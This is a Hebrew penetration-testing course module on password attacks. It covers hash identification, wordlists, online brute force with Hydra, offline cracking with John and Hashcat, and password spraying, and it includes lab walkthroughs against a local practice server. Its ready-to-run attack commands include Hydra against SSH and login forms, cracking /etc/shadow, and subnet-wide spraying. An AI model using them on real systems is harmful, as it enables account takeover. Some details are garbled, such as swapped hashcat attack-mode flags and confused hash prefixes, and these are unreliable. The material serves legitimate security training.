

מודול 8 — מתקפות סיסמאות

חומר לימוד

1 יחידות

תוכן העניינים

1. מודול 8 — מתקפות סיסמאות (Password Attacks)

הכול בגלילה אחת: כל החומר של המודול בקובץ אחד — חומר לימוד, תרגילים, תרגול ופתרונות, ברצף.

מודול מעשי — תפצח סיסמאות אמיתיות! תסדוק קובץ Hash-ים (hashes.txt, shadow_demo.txt) עם John באופן לא-מקוון, ותפרוץ טופס התחברות חי (login_server.py, בלי התקנות) עם Hydra באופן מקוון. אחרי כל הדגמה: 🧠 בדוק את עצמך.

מודול 8 — מתקפות סיסמאות (Password Attacks)

מטרות המודול: לתקוף את החוליה החלשה ביותר — הסיסמה. נבין סוגי Hash וזיהויים, רשימות מילים (Wordlists), מתקפות מקוונות (Hydra) מול לא-מקוונות (John / Hashcat), ואת ההבדל בין Brute Force, Password Spraying ו-Credential Stuffing.

קבצים: README.md · missions.md · solutions.md · practice.md · slides.md.

מבוסס על שיעור המקור #51 (Brute Force Attacks) והרחבה לתקן העולמי.

למה זה חשוב? לא כל גישה מגיעה מ-Exploit. סיסמה חלשה, סיסמה שדלפה, או Hash שנסדק — הם לעיתים הדרך הקלה והנפוצה ביותר לחדור. זהו וקטור מרכזי גם בגישה ראשונית וגם בהסלמה ותנועה רוחבית (מודולים 11–13).

תוכן העניינים

1. סוגי מתקפות סיסמה
2. Hash — מה זה זיהוי
3. רשימות מילים (Wordlists)
4. מתקפות מקוונות — Hydra
5. מתקפות לא-מקוונות — John
6. Hashcat
7. Password Spraying ו-Credential Stuffing
8. הגנה

8.1 סוגי מתקפות סיסמה

סוג	תיאור	דוגמה
Brute Force	ניסוי כל הצירופים האפשריים	...aaaa, aaab, aaac
Dictionary Attack	ניסוי סיסמאות מרשימה (Wordlist)	rockyou.txt
Password Spraying	סיסמה אחת נפוצה נגד הרבה משתמשים	Winter2024! נגד כל העובדים
Credential Stuffing	פרטי גישה שדלפו נגד מערכות אחרות	מייל+סיסמה מדלף נגד VPN

מקוון (Online) מול לא-מקוון (Offline): - מקוון — תוקפים שירות חי (SSH/FTP/טופס web). איטי, רועש, עלול לנעול חשבונות. - לא-מקוון — סדקים Hash שהשגנו (מ- /etc/shadow או DB). מהיר מאוד, שקט, ללא הגבלות.

8.2 Hash — מהו זיהוי

Hash הוא “טביעת אצבע” חד-כיוונית של סיסמה. מערכות לא שומרות סיסמה בטקסט גלוי אלא את ה-Hash שלה. תוקף שמשיג Hash לא יכול “להפוך” אותו — אך יכול לנחש סיסמה, לחשב את ה-Hash שלה, ולהשוות.

סוגי Hash נפוצים

סוג	אורך/סימן	היכן
MD5	32 תווים hex	ישן, חלש
SHA-1 / SHA-256	hex 64 / 40	נפוץ
NTLM	hex 32	Windows
bcrypt	\$2b\$. . .	חזק, איטי לסדיקה

זיהוי סוג Hash

hashid '5f4dcc3b5aa765d61d8327deb882cf99'

hash-identifier

Hash-מוזהא את סוג ה #

כלי אינטראקטיבי #

🔦 זיהוי נכון של סוג ה-Hash הוא קריטי — Hashcat/John צריכים לדעת את המצב (mode) הנכון כדי לסדוק.

🎬 הדגמה — נסה בעצמך: זהה סוג Hash

לפני שסודקים — חייבים לדעת מה סוג ה-Hash. נזהה כמה.

```
hashid '5f4dcc3b5aa765d61d8327deb882cf99' # 32 hex → MD5?
hashid '$6$abc$def...' # $6$ → sha512crypt (Linux shadow)
hashid '$2b$12$...' # $2b$ → bcrypt
```

👁️ האורך והתחילית מסגירים את הסוג: 32 hex = MD5, \$6\$ = sha512crypt, \$2b\$ = bcrypt

🎯 מה קרה כאן: לכל אלגוריתם "חתימה" משלו. זיהוי נכון קובע את ה-mode ב-mode — John/Hashcat שגוי = הסדיקה תיכשל.

🧠 בדוק את עצמך: Hash שמתחיל ב-\$6\$ הוא — (א - MD5 - ב) sha512crypt (סיסמת Linux מ-/etc/shadow - ג) NTLM

✅ תשובה: ב — התחילית \$6\$ מציינת sha512crypt, הפורמט של סיסמאות Linux ב-/etc/shadow (.\$1\$=bcrypt, \$2b\$=.MD5crypt)

8.3 רשימות מילים (Wordlists)

Wordlist היא קובץ עם סיסמאות אפשריות. איכות ה-Wordlist קובעת את הצלחת המתקפה.

- **rockyou.txt** — הרשימה המפורסמת (14 מיליון סיסמאות מדלף אמיתי):

```
ls -lh /usr/share/wordlists/
sudo gunzip /usr/share/wordlists/rockyou.txt.gz # אם דחוס
```

- **SecLists** — אוסף ענק של רשימות (משתמשים, סיסמאות, נתיבים):

```
sudo apt install seclists -y # מותקן ב-/usr/share/seclists
```

- **יצירת רשימה מותאמת** עם **cewl** (מגרד מילים מאתר היעד) או **crunch** (מחולל צירופים).

8.4 מתקפות מקוונות — Hydra

Hydra הוא כלי Brute Force מקוון מהיר, התומך בעשרות פרוטוקולים.

תחביר כללי

```
hydra -l <user> -P <wordlist> <target> <service>
hydra -L <userlist> -P <wordlist> <target> <service> # רשימת משתמשים -L
```

דוגמאות

```
# SSH:
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.5
# FTP:
hydra -l root -P rockyou.txt ftp://10.0.0.5
# טופס web (POST):
hydra -l admin -P rockyou.txt 10.0.0.5 http-post-form \
"/login:user=^USER^&pass=^PASS^:Invalid"
```

• `^PASS^ / ^USER^` — היכן Hydra מזריק את הניחוש; המחרוזת בסוף (`Invalid`) = סימן לכישלון.

⚠ מתקפה מקוונת **רועשת** ועלולה לנעול חשבונות. השתמש ב- `-t 4` - להאט קצב, ותמיד רק על יעדים מורשים.

🎬 הדגמה — נסה בעצמך: פרוץ טופס התחברות עם Hydra 🚩

נתקוף טופס login חי — בדיוק כמו פאנל ניהול אמיתי.

צעד 1 — טרמינל 1: הפעל את המטרה (`login_server.py`):

```
python3 login_server.py # השאר רץ - http://127.0.0.1:8081
```

👁 גלוש לכתובת — טופס התחברות של ACME. המשתמש `admin`, הסיסמה לא ידועה.

צעד 2 — הכן רשימת סיסמאות קטנה (או השתמש ב-`rockyou`):

```
printf 'password\n123456\niloveyou\nsuperman\nprincess\n' > pws.txt
```

צעד 3 — טרמינל 2: שגר את Hydra על טופס ה-`POST`:

```
hydra -l admin -P pws.txt 127.0.0.1 -s 8081 \
http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials"
```

Hydra מנסה כל סיסמה. המחרוזת `Invalid credentials` = סימן כישלון; כשהיא **נעלמת** מהתשובה — נמצאה הסיסמה:

```
[8081][http-post-form] host: 127.0.0.1 login: admin password: superman
```

צעד 4 — התחבר עם מה שמצאת וקבל את הדגל:

```
curl -s -d "user=admin&pass=superman" 127.0.0.1:8081/login | grep -o 'flag{[^}]*}'
```

 `flag{online_brute_force_cracked_the_login}` 🧐

🎯 **מה קרה כאן:** Hydra שלח בקשת POST לכל סיסמה והבדיל הצלחה מכישלון לפי מחרוזת ה-`Invalid credentials`. אין הגבלת נסיונות → כל סיסמה מהרשימה נבדקה. **הגנה:** נעילת חשבון + MFA.

🧠 **בדוק את עצמך:** מה תפקיד המחרוזת `Invalid credentials` בפקודת Hydra? (א - הסיסמה לפריצה - ב) "סימן הכישלון" — כל עוד היא בתשובה, ההתחברות נכשלה; היעדרה = הצלחה - ג) שם המשתמש

✅ **תשובה: ב** — ב-`http-post-form`, המחרוזת האחרונה היא סימן הכישלון. Hydra מזהה הצלחה כשהתשובה **לא** מכילה אותה.

8.5 מתקפות לא-מקוונות — John the Ripper

John סודק Hashes שהשגת (offline). מהיר, ולא נוגע ביעד.

זרימת עבודה

```
# 1. לקובץ Hash-שמור את ה:
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hash.txt
# 2. wordlist סדיקה עם:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# 3. הצגת התוצאה:
john --show --format=raw-md5 hash.txt
```

סדיקת סיסמאות (shadow) Linux

```
unshadow /etc/passwd /etc/shadow > crack.txt # מיוג passwd+shadow  
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
```

זהו החיבור למודול 2: אם השגת גישה ל- /etc/shadow , unshadow + john יסדקו את הסיסמאות. 🔍

🎬 הדגמה — נסה בעצמך: סדוק Hash-ים לא-מקוון עם John 🚩

השגנו קובץ Hash-ים (למשל מדלף DB). נסדוק אותם offline — מהיר, שקט, בלי לגעת ביעד.

צעד 1 — הצץ ב-Hash-ים (הקובץ hashes.txt — חמישה MD5):

```
cat hashes.txt
```

צעד 2 — שחרר את rockyou (אם דחוס):

```
sudo gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null; echo ok
```

צעד 3 — סדוק עם John:

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

👁️ תוך שניות John מפצח את כל החמישה. הצג את התוצאות:

```
john --show --format=raw-md5 hashes.txt
```

👁️ הסיסמאות: password , iloveyou , sunshine , princess , superman — כולן חלשות ולכן ב-rockyou.

צעד 4 — סדוק סיסמת Linux אמיתית (Hash מסוג sha512crypt מ-shadow):

```
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_demo.txt  
john --show shadow_demo.txt # → victim:letmein
```

👁️ סדקת סיסמת /etc/shadow — בדיוק מה שתעשה אחרי שהשגת גישה ל-root במודול 11.

🎯 **מה קרה כאן:** John ניחש כל מילה מ-rockyou, חישב את ה-Hash שלה, והשווה. חד-כיווניות ה-Hash לא עוזרת כשהסיסמה חלשה ונמצאת ברשימה. **הגנה:** סיסמאות ארוכות ואקראיות + Hashing איטי (bcrypt).

🧠 **בדוק את עצמך:** למה מתקפה **לא-מקוונת** (John על Hash) מהירה ושקטה יותר ממקוונת (Hydra)? - (א) כי היא לא שולחת בקשות ליעד — הסדיקה מתבצעת מקומית על המחשב שלך - (ב) כי John חזק מ-Hydra - (ג) כי Hash-ים תמיד קצרים

✅ **תשובה: א** — offline סודקים עותק מקומי של ה-Hash, בלי לגעת ביעד: אין רעש, אין נעילת חשבון, ואפשר מיליוני נסיונות בשנייה.

Hashcat 8.6

Hashcat הוא הסודק המהיר בעולם — מנצל את ה-GPU. מתאים ל-Hashes קשים ולרשימות ענקיות.

```
hashcat -m 0 -a 0 hash.txt rockyou.txt      # -m 0 = MD5, -a 0 = wordlist
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt    # -m 1000 = NTLM (Windows)
hashcat -m 1800 -a 0 hash.txt rockyou.txt    # -m 1800 = sha512crypt (Linux)
hashcat --show -m 0 hash.txt                 # הצגת סיסמאות שנמדקו
```

- **-m** = מצב (סוג Hash) · **-a 0** = Brute Force (mask) · **-a 3** = wordlist.
- **מצבי -m נפוצים:** MD5, 100=SHA1, 1000=NTLM, 1800=sha512crypt, 3200=bcrypt=0.

💡 **John מול John Hashcat:** נוח ואוטומטי (CPU); Hashcat מהיר בהרבה (GPU) אך דורש ציון mode מדויק. בעבודה — משתמשים בשניהם.

Credential Stuffing-1 Password Spraying 8.7

בניגוד ל-Brute Force (הרבה סיסמאות למשתמש אחד), אלה מתקפות "רוחביות" שנמנעות מנעילת חשבונות:

- **Password Spraying** — סיסמה **אחת** נפוצה (, Company123! , Winter2024!) נגד **כל** רשימת המשתמשים. משתמש אחד עם סיסמה חלשה = גישה. שקט יחסית (ניסיון אחד לכל חשבון).

```
# SMB: נגד crackmapexec (לשעבר netexec) דוגמה עם:
nxc smb 10.0.0.0/24 -u users.txt -p 'Winter2024!'
```

- **Credential Stuffing** — זוגות משתמש-סיסמה שדלפו (מודול 15) נגד מערכות היעד. אנשים ממחזרים סיסמאות → דלף מאתר אחד פותח אחר.

🔍 **החיבור לשרשרת:** את המיילים/המשתמשים (מודול 5) + הסיסמה הנפוצה = Password Spraying.
זה מוביל ישירות למודול 13 (Active Directory).

8.8 הגנה מפני מתקפות סיסמה

כבודק, אתה גם ממליץ תיקונים (לדוח, מודול 16): - **סיסמאות חזקות** ומדיניות אורך/מורכבות. - **MFA / 2FA** — הגנה החזקה ביותר; גם סיסמה שנסדקה לא מספיקה. - **נעילת חשבון (Account Lockout)** אחרי מספר ניסיונות — עוצר Brute Force מקוון. - **Hashing חזק** (bcrypt/Argon2 + Salt) — מקשה על סדיקה offline. - **ניטור** ניסיונות התחברות חריגים.

סיכום המודול

- **סוגי מתקפות:** Brute Force, Dictionary, Password Spraying, Credential Stuffing; מקוון (רועש) מול לא-מקוון (מהיר).
- **Hash** = טביעת אצבע חד-כיוונית; זיהוי הסוג (hashid) קריטי לסדיקה.
- **Wordlists:** rockyou, SecLists, cewl/crunch מותאמים.
- **Hydra** למקוון (SSH/FTP/web); **John** ו-**Hashcat** ללא-מקוון (Hashcat מהיר עם GPU).
- **Spraying/Stuffing** מנצלים משתמשים (מודול 5) וסיסמאות שדלפו — גשר ל-AD.
- **הגנה:** סיסמאות חזקות, MFA, נעילה, Hashing חזק.

מה הלאה?

→ **תרגילים** — **missions.md** · פתרונות — **solutions.md** · תרגול ותרחישים — **practice.md** →
מודול 9 — אבטחת (OWASP Top 10) Web

← חזרה למפת הקורס